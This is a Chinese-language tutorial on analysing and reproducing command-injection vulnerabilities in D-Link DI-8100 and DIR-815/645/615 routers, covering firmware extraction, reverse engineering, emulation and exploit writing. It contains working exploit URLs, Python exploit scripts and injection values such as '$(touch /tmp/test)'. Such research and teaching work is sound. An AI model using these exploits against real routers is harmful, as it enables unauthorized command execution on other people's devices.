IOT入门--路由器命令执行漏洞
字数 1524 2025-08-30 06:50:35
D-Link路由器命令执行漏洞分析与复现教程
一、漏洞概述
本教程详细分析D-Link DI-8100和DIR-815/645/615路由器的命令执行漏洞,包含漏洞原理分析、环境搭建、漏洞复现和EXP编写等内容。
二、环境准备
1. 所需工具
- Burp Suite (推荐使用汉化版)
- IDA Pro (用于逆向分析)
- binwalk (用于固件分解)
- FirmAE (固件仿真工具)
- GDB (调试工具)
2. 工具配置
- Burp Suite代理设置参考:Burp Suite代理和火狐浏览器的设置
- FirmAE下载与使用:FirmAE GitHub
3. 固件下载
- DI-8100固件:D-Link官网
- DIR-815固件:D-Link FTP
三、DI-8100漏洞分析
1. 固件分析
- 使用binwalk分解固件:
binwalk -Me DI-8100_firmware.bin - 查看系统架构和保护机制
2. 漏洞定位
- 主要分析目标:
jhttpd服务 - 漏洞触发点:
msp_info.htm页面中的cmd参数
3. IDA逆向分析
- 使用IDA打开
jhttpd程序 - 搜索字符串
msp_info定位到msp_info_htm函数 - 关键漏洞逻辑:
- 函数开头从传入值中获取
flag字符串 - 当
flag=cmd时,后续的cmd内容会被放入system函数执行
- 函数开头从传入值中获取
4. 漏洞复现步骤
-
使用FirmAE仿真固件:
./run.sh DI-8100_firmware.bin选择选项2进入终端
-
访问路由器管理界面:
http://192.168.0.1:80默认凭证:admin/admin
-
构造漏洞利用URL:
http://192.168.0.1/msp_info.htm?flag=cmd&cmd=touch+/a.txt验证是否在根目录创建了a.txt文件
5. EXP编写
- 使用Burp Suite抓取登录请求
- 编写Python脚本:
import requests url = "http://192.168.0.1/msp_info.htm" params = { "flag": "cmd", "cmd": "touch /xidp.txt" } response = requests.get(url, params=params) print(response.status_code)
四、DI-8100第二个漏洞
1. 漏洞位置
upgrade_filter_asp函数存在另一个命令执行漏洞
2. 利用方式
- 抓取登录请求包
- 编写类似EXP,修改参数为:
params = { "action": "upgrade", "filter": "| touch /vuln.txt" }
五、DIR-815/645/615漏洞分析
1. 固件分析
- 分解固件:
binwalk -Me DIR815A1_FW103b01.bin - 关键文件:
squashfs-root/htdocs/web/service.cgi(指向cgibin的软链接)
2. 漏洞定位
- 主要分析目标:
cgibin文件 - 漏洞调用链:
servicecgi_main->lxmldbc_system->system
3. IDA逆向分析
- 使用IDA打开
cgibin - 搜索字符串定位到
servicecgi_main函数 - 关键漏洞逻辑:
- 检查请求方法(POST/GET)
- POST请求需要
CONTENT_LENGTH环境变量 - 解析查询参数
- 检查
Content-Type为application/x-www-form-urlencoded - 用户输入拼接进system命令
4. 漏洞复现步骤
-
使用FirmAE仿真原始固件
-
访问管理界面:
http://192.168.0.1:80 -
发现
sess_ispoweruser检查会导致失败,需要修改固件:- 使用IDA将
sess_ispoweruser函数NOP掉 - 重新打包固件:
mksquashfs squashfs-root rootfs.squashfs -noappend -always-use-fragments
- 使用IDA将
-
重新仿真修改后的固件
5. EXP编写
import requests
url = "http://192.168.0.1/service.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"action": "anything",
"service": "$(touch /tmp/test)"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)
六、漏洞利用技巧
-
命令执行无回显时,可以通过创建文件验证:
touch /tmp/vuln_test然后通过浏览器访问:
http://192.168.0.1/tmp/vuln_test -
文件内容读取:
echo "test content" > /tmp/readme然后下载文件查看内容
七、防护建议
- 输入验证:对所有用户输入进行严格过滤
- 权限控制:限制Web服务的执行权限
- 固件更新:及时更新到最新版本
- 最小权限原则:服务运行使用最低必要权限
八、总结
本教程详细分析了D-Link多款路由器的命令执行漏洞,从固件分析、逆向工程到漏洞复现和EXP编写,提供了完整的漏洞研究流程。这些漏洞主要源于对用户输入的不当处理,导致攻击者可以执行任意系统命令,危害严重。